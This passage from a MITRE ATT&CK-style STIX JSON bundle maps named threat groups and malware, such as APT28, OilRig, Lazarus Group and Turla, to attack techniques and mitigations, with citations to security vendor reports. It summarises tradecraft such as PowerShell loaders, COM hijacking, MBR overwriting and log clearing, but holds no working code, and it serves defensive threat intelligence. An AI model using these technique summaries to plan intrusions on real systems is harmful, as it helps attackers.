                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "type": "relationship",
            "modified": "2020-03-17T16:30:07.362Z",
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        },
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            "source_ref": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2020-03-14T18:19:53.341Z",
            "created": "2017-05-31T21:33:27.024Z"
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            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) used a virus that propagates by infecting executables stored on shared drives.(Citation: Kaspersky Darkhotel)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
                    "source_name": "Kaspersky Darkhotel"
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            ],
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-16T20:05:43.406Z",
            "created": "2017-05-31T21:33:27.047Z"
        },
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            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses a variation of the XOR cipher to encrypt files before exfiltration.(Citation: ESET InvisiMole June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-30T02:19:19.023Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) gathers a list of processes using the <code>tasklist</code> command and then is sent back to the control server.(Citation: McAfee Honeybee)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.501Z",
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        },
        {
            "id": "relationship--ac65e484-b59a-40e1-984e-02dc4b62b6f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) attempted to get users to click on Microsoft Office attachments containing malicious macro scripts.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-20T16:37:05.780Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3ee8862f-2595-462e-8df8-aab639314b65",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) collects the computer name, the BIOS model, and execution path.(Citation: Talos Group123)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.575Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers information about the Registry.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
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                }
            ],
            "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.055Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b41c70df-0955-408c-90ee-7acad8b080e1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "source_ref": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
            "type": "relationship",
            "modified": "2020-03-14T23:29:54.239Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--060e7485-d2a9-4aa2-a742-58f7e4e6086a",
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has utilized [Valid Accounts](https://attack.mitre.org/techniques/T1078) during and [Persistence](https://attack.mitre.org/tactics/TA0003) and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-10-01T14:35:15.194Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            "relationship_type": "uses",
            "target_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde",
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
            "type": "relationship",
            "modified": "2021-01-06T19:32:29.097Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2021-04-22T16:13:35.068Z",
            "created": "2017-05-31T21:33:27.024Z"
        },
        {
            "id": "relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Putty to access compromised systems.(Citation: Unit 42 Playbook Dec 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "type": "relationship",
            "modified": "2020-03-17T16:56:12.674Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) identifies the victim username.(Citation: Talos Group123)",
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            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
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            ],
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            "description": "[APT1](https://attack.mitre.org/groups/G0006) has used the Windows command shell to execute commands, and batch scripting to automate execution.(Citation: Mandiant APT1)",
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            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
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                {
                    "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/",
                    "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.",
                    "source_name": "ThreatConnect Anthem"
                }
            ],
            "description": "(Citation: ThreatConnect Anthem)",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.803Z",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [at](https://attack.mitre.org/software/S0110) to register a scheduled task to execute malware during lateral movement.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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            ],
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                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-06T20:00:24.030Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails containing malicious attachments that require users to execute a file or macro to infect the victim machine.(Citation: Talos Cobalt Group July 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)",
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Unit 42 Cobalt Gang Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/",
                    "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-17T13:53:21.720Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "id": "relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6",
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            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
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                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                },
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
                }
            ],
            "description": "(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)",
            "type": "relationship",
            "modified": "2019-06-28T14:59:17.851Z",
            "created": "2017-05-31T21:33:27.072Z"
        },
        {
            "id": "relationship--f8a90328-b7ee-474a-9773-f5bf501defd3",
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            "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to open a remote shell and run basic commands.(Citation: Symantec Backdoor.Mivast)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Mivast",
                    "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.",
                    "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"
                }
            ],
            "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:57:13.486Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eb2689d1-4061-4f8c-aa95-894bf75ecfe4",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2020-03-29T23:48:15.215Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d39e3775-9221-4020-b826-edc111e36c7c",
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used <code>net localgroup administrators</code> to find local administrators on compromised systems.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T22:50:09.228Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used PowerShell-based tools, PowerShell one-liners, and shellcode loaders for execution.(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-07-17T13:11:37.786Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ada9885f-276a-4f97-859d-1bb9f73b58c1",
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            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from [Empire](https://attack.mitre.org/software/S0363)'s PSInject.(Citation: ESET Turla Mosquito May 2018)(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019) [Turla](https://attack.mitre.org/groups/G0010) has also used PowerShell scripts to load and execute malware in memory.",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito May 2018"
                },
                {
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "source_name": "ESET Turla PowerShell May 2019"
                },
                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."
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            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-07-14T21:04:44.769Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "type": "relationship",
            "modified": "2020-03-26T23:10:45.609Z",
            "created": "2017-05-31T21:33:27.028Z"
        },
        {
            "id": "relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428",
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            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can delete files and directories.(Citation: ESET Sednit Part 2)",
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            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.489Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)",
            "object_marking_refs": [
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                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-09-09T19:15:44.710Z",
            "created": "2017-05-31T21:33:27.069Z"
        },
        {
            "id": "relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270",
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            "description": "[FIN5](https://attack.mitre.org/groups/G0053) uses [SDelete](https://attack.mitre.org/software/S0195) to clean up the environment and attempt to prevent detection.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
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                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.730Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
            "id": "relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac",
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            "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
            "relationship_type": "uses",
            "target_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "source_name": "Scarlet Mimic Jan 2016"
                }
            ],
            "description": "(Citation: Scarlet Mimic Jan 2016)",
            "type": "relationship",
            "modified": "2019-04-22T15:06:12.729Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade",
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            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has updated and modified its malware, resulting in different hash values that evade detection.(Citation: Symantec Black Vine)",
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            "external_references": [
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                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf",
                    "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.",
                    "source_name": "Symantec Black Vine"
                }
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.682Z",
            "created": "2017-05-31T21:33:27.043Z"
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            "id": "relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can copy files to remote machines.(Citation: FireEye Clandestine Fox)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html",
                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.287Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--95618672-6f7f-4055-9c96-29f75e276d5b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails with URLs pointing to malicious documents.(Citation: Talos Cobalt Group July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.452Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "type": "relationship",
            "modified": "2021-04-14T14:22:44.561Z",
            "created": "2017-05-31T21:33:27.029Z"
        },
        {
            "id": "relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used COM hijacking for persistence by replacing the legitimate <code>MMDeviceEnumerator</code> object with a payload.(Citation: ESET Sednit Part 1)(Citation: ESET Zebrocy May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 1",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "type": "relationship",
            "modified": "2020-03-20T16:37:05.770Z",
            "created": "2017-05-31T21:33:27.039Z"
        },
        {
            "id": "relationship--632e3144-8785-41c4-a937-7e11139b2ae1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
